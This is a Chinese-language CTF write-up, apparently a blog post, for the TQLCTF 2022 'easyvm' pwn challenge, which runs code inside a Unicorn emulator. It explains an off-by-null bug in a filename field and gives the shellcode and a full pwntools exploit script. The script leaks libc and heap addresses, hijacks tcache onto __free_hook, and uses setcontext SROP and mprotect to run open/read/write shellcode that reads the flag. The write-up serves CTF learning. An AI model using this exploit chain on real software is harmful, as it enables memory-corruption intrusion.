2022 TQLCTF pwn easyvm

题目很有意思,肝了不少时间。
在这里插入图片描述
全绿

在这里插入图片描述首先看它给的
有个unicorn的库
那么这道题就肯定是用了unicorn模拟代码。

那么unicorn是啥?想好好做下面的题这个必须明白。
简单说unicorn是基于qemu的一个代码模拟器。
qemu模拟原理里面的内存映射啊等原理我们就不展开讨论,感兴趣的可以搜一下。
因为unicorn是基于qemu,所以这方面都是一样的。没有qemu知识好像还不怎么好理解这道题…

重点要说的是所以我们在拿unicorn模拟代码的时候,代码中用到的内存空间地址,寄存器等等跟我们在IDA看到的,或者说我们把给的文件跑起来IDA看到的是不一样的,模拟是模拟,外面unicorn是外面。不能弄串。

比如下面要说的代码中映射了两个内存地址,参数是0x400000,这个地址是模拟代码中的地址,实际上对于unicorn这个进程来讲知识mmap了一块空间而已。

如果这一块还有啥问题,或者下面啥地方不大明白,推荐去看看qemu…

那么说正文
打开main函数
在这里插入图片描述发现里面有一堆我们没见过的函数。
那么这其实就是unicorn在模拟代码。
2021年的强网杯逆向也出过这个题。

贴一些相关资料
https://mp.weixin.qq.com/s/NT_pW0uP8E7WK_ssMuyR9A
https://www.jianshu.com/p/e6a7b30c1e89
https://bbs.pediy.com/thread-268125.htm#msg_header_h1_3

还有很多资料,网上搜一搜很多
那么我们来分析那些函数是干嘛的。

这是第一部分
在这里插入图片描述
这是第二部分
在这里插入图片描述
这是第三部分
在这里插入图片描述

重点来看钩子
在这里插入图片描述这个我改过函数名了
它的主要逻辑就是我们只能有0 1 2 3四个系统调用。
多了他就说unknown。

open_0
在这里插入图片描述这里面的uc_reg_read其实都有参数的
但是IDA没有反编译出来
我们只能去自己看一下汇编。
程序的主题意思是
汇编代码中的rdi传给open_0函数中的open
rsi传给v2[2]

进一步看open函数
在这里插入图片描述这个里面也是自己已经弄好了结构体
看他的逻辑
首先将第一个参数拿出来去5020的数组做比较
比到了直接返回,没比到才有后面的
那数组里有啥
在这里插入图片描述三个字符串/dev/stdin /dev/stdout /dev/stderr
所以我们看的出来这第一个参数是文件名。
先从已经打开的文件中去找,如果找到了就返回,没找到我们就继续往下看

在这里插入图片描述bss上开数组,72个字节一组
在这里插入图片描述第一个是文件描述符
文件描述符就是按顺序来的
第几组就是几
然后是文件名,24个字节
申请了一块空间当文件读写内容的地方
之后就是一些文件的相关参数
以及三个函数。

这三个函数分别是
read
在这里插入图片描述
write
在这里插入图片描述

close
在这里插入图片描述
结构体用上以后看的就比较清楚
但是现在的问题是我们不知道这些函数什么时候就调用上了

我们继续往下看

read函数也就是系统调用是0时候
在这里插入图片描述整体逻辑呢就是申请了一块空间以后,就调用read2函数
在这里插入图片描述根据read2的第一个参数,实际上就是文件描述符,再去数组中找。
找到之后就去调用我们刚刚看到的每个文件的组里面都会有三个函数中的read函数。

下面的write close都是这个道理
就不再展开叙述。

所以到此我们就明白了程序的整体逻辑。
通过只能实现0 1 2 3的系统调用,模拟了一个小小的文件系统。
刚开始还想着既然是open read write功能,直接orw文件,但是后来就发现人家是模拟的,文件不会真正打开,都是去申请chunk。
那么到此我们就发现,其实好像是一个堆题。
突然柳暗花明。

那么我们就想,文件对应的read write close函数必然是对堆的操作,这些函数中肯定有问题导致堆溢出啊等等。

但是,找了半天发现并没有什么问题,
最后的最后发现
问题在这里
在这里插入图片描述果然顶级的食材只用最简单的烹饪方式
这里给文件名留了24个字节
而且也只允许输入24个字节
但是strcpy后面会额外加一个\x00
这就导致了当我们输入24个字节的文件名的时候会有一个溢出。
造成off by null。

这又会导致什么?
文件名的下一个成员是chunk的指针,这就导致我们可以对其他chunk对读写。

那么接下来说详细的解题步骤。
首先观察内存之后发现,申请一个内存然后把里面的内容读出来,可以直接得到里面残留的数据,因为这个chunk应该是从large bin出来的,所以直接可以拿到libc 跟 heap的地址,完成地址泄露

        /*    leak    */
        mov rax, 0x101010101010101
        mov rsp, 0x7fffffff6000
        push rax
        mov rax, 0x101010101010101 ^ 0x1
        xor [rsp], rax
        mov rdi, rsp
        push 0x400
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
        /* call read(3, 0x7fffffff5000, 0x64) */
        xor eax, eax /* SYS_read */
        push 3
        pop rdi
        push 0x64
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /* write(fd=1, buf=0x7fffffff5000, n=0x64) */
        push 1
        pop rdi
        push 0x64
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        /* call write() */
        push 1 /* 1 */
        pop rax
        syscall

在这里插入图片描述

然后在heap中要找一个合适的chunk,来进行off by null。
在这里插入图片描述找到了
你看咱要是把下面这个chunk申请到,然后off by null一下,就可以编辑上面那个chunk了,可以直接攻击tcache。

        /* chunk 4*/
        /*   off by null   */
        xor eax, eax /* SYS_read */
        push 0
        pop rdi
        push 0x18
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /*  open  */
        mov rsp, 0x7fffffff5000
        push rsp
        pop rdi
        push 0x60
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall

        /* hijack tcache */
        /* call read(0, 0x7fffffff5000, 0x18) */
        xor eax, eax /* SYS_read */
        push 0
        pop rdi
        push 0x18
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /* write(fd=4, buf=0x7fffffff5000, n=0x18) */
        push 4
        pop rdi
        push 0x18
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        /* call write() */
        push 1 /* 1 */
        pop rax
        syscall 

然后就是正常的去攻击free_hook

        /* malloc free_hook */
        /* they are chunk 5 and chunk 6*/
        mov rax, 0x101010101010101
        mov rsp, 0x7fffffff6000
        push rax
        mov rax, 0x101010101010101 ^ 0x3
        xor [rsp], rax
        mov rdi, rsp
        push 0x60
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
        mov rax, 0x101010101010101
        mov rsp, 0x7fffffff6000
        push rax
        mov rax, 0x101010101010101 ^ 0x4
        xor [rsp], rax
        mov rdi, rsp
        push 0x60
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall

但是呢
我们突然想起来
他刚开始把execveban掉了
所以我们还得做一个堆的srop
2.29之后堆的srop用的是setcontext+61
这里就不再展开说堆srop咋回事了
https://blog.csdn.net/yongbaoii/article/details/119607954
可以参考这个

这里用的是利用堆去调用mprotect,给free_hook所在的地方rwx权限,然后读入了一段orw的shellcode,最终利用。

还有要注意的一个地方是因为这道题攻击完free_hook之后不等你去释放指定chunk他会立马free一下,所以需要合理的风水一下。具体可以多扣扣我exp。

exp

from pwn import*
from ctypes import*

lib = cdll.LoadLibrary('libc.so.6')

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()

def debug():
    gdb.attach(r, "b *$rebase(0x1f98)\n c\n c\n c\n c\n c\n c\n c\n c\n c\n c\n c\n c\n c\n c\n b *$rebase(0x1860)\n ")
    pause()
    
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


r = process("./easyvm")
elf = ELF('./easyvm')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 
#debug()
shellcode = '''
        /*    leak    */
        mov rax, 0x101010101010101
        mov rsp, 0x7fffffff6000
        push rax
        mov rax, 0x101010101010101 ^ 0x1
        xor [rsp], rax
        mov rdi, rsp
        push 0x400
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
        /* call read(3, 0x7fffffff5000, 0x64) */
        xor eax, eax /* SYS_read */
        push 3
        pop rdi
        push 0x64
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /* write(fd=1, buf=0x7fffffff5000, n=0x64) */
        push 1
        pop rdi
        push 0x64
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        /* call write() */
        push 1 /* 1 */
        pop rax
        syscall


        /* chunk 4*/
        /*   off by null   */
        xor eax, eax /* SYS_read */
        push 0
        pop rdi
        push 0x18
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /*  open  */
        mov rsp, 0x7fffffff5000
        push rsp
        pop rdi
        push 0x60
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall

        /* hijack tcache */
        /* call read(0, 0x7fffffff5000, 0x18) */
        xor eax, eax /* SYS_read */
        push 0
        pop rdi
        push 0x18
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /* write(fd=4, buf=0x7fffffff5000, n=0x18) */
        push 4
        pop rdi
        push 0x18
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        /* call write() */
        push 1 /* 1 */
        pop rax
        syscall 

        /* malloc free_hook */
        /* they are chunk 5 and chunk 6*/
        mov rax, 0x101010101010101
        mov rsp, 0x7fffffff6000
        push rax
        mov rax, 0x101010101010101 ^ 0x3
        xor [rsp], rax
        mov rdi, rsp
        push 0x60
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
        mov rax, 0x101010101010101
        mov rsp, 0x7fffffff6000
        push rax
        mov rax, 0x101010101010101 ^ 0x4
        xor [rsp], rax
        mov rdi, rsp
        push 0x60
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall

        /*    srop      */
        mov rax, 0x101010101010101
        mov rsp, 0x7fffffff6000
        push rax
        mov rax, 0x101010101010101 ^ 0x7
        xor [rsp], rax
        mov rdi, rsp
        push 0x400
        pop rsi
        xor rdx, rdx /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
        xor eax, eax /* SYS_read */
        push 0
        pop rdi
        push 0x400
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /* write(fd=4, buf=0x7fffffff5000, n=0x8) */
        push 7
        pop rdi
        push 0x400
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        /* call write() */
        push 1 /* 1 */
        pop rax
        syscall

        /*  write free_hook  */
        xor eax, eax /* SYS_read */
        push 0
        pop rdi
        push 0x50
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        syscall
        /* write(fd=4, buf=0x7fffffff5000, n=0x80) */
        push 6
        pop rdi
        push 0x50
        pop rdx
        mov rsi, 0x101010101010101 /* 140737488310272 == 0x7fffffff5000 */
        push rsi
        mov rsi, 0x1017efefefe5101
        xor [rsp], rsi
        pop rsi
        /* call write() */
        push 1 /* 1 */
        pop rax
        syscall

'''
shellcode = asm(shellcode)
shellcode = shellcode.ljust(0x4000, b"\x90")

sa("Send your code:\n", shellcode)

libc_base = u64(ru(b"\x7f")[-6:] + b"\x00\x00") - 0x1ec1f0
heap_base = u64(ru(b"\x55")[-6:] + b"\x00\x00") - 0x319f0
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
setcontext = libc_base + libc.sym['setcontext']
magic_gadget = libc_base + 0x154930
lg("libc_base", libc_base)
lg("heap_base", heap_base)
lg("free_hook", free_hook)
lg("system_addr", system_addr)
lg("setcontext", setcontext)
lg("magic_gadget", magic_gadget)

sleep(1)
sd(b"a" * 0x18)

sleep(1)
sd(p64(0) + p64(0x71) + p64(free_hook - 0x10))


##########SROP

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000

    mov eax,0
    syscall

    jmp rsi
    ''' % new_addr

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']

shellcode2 = '''
    mov rax, 0x67616c662f2e ;// ./flag
    push rax

    mov rdi, rsp ;// /flag
    mov rsi, 0 ;// O_RDONLY
    xor rdx, rdx ;
    mov rax, 2 ;// SYS_open
    syscall

    mov rdi, rax ;// fd 
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall

    mov rdi, 1 ;// fd 
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count 
    mov rax, 1 ;// SYS_write
    syscall

    mov rdi, 0 ;// error_code
    mov rax, 60
    syscall
'''

str_frame = bytes(frame)

sleep(1)
sd(p64(setcontext + 61) * 2 + str_frame[0x30:])

sleep(1)
sd(p64(heap_base + 0x31f30) * 2 + p64(magic_gadget)+p64(free_hook+0x18)*2+asm(shellcode1))

sleep(1)
sd(asm(shellcode2))

ti()




  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值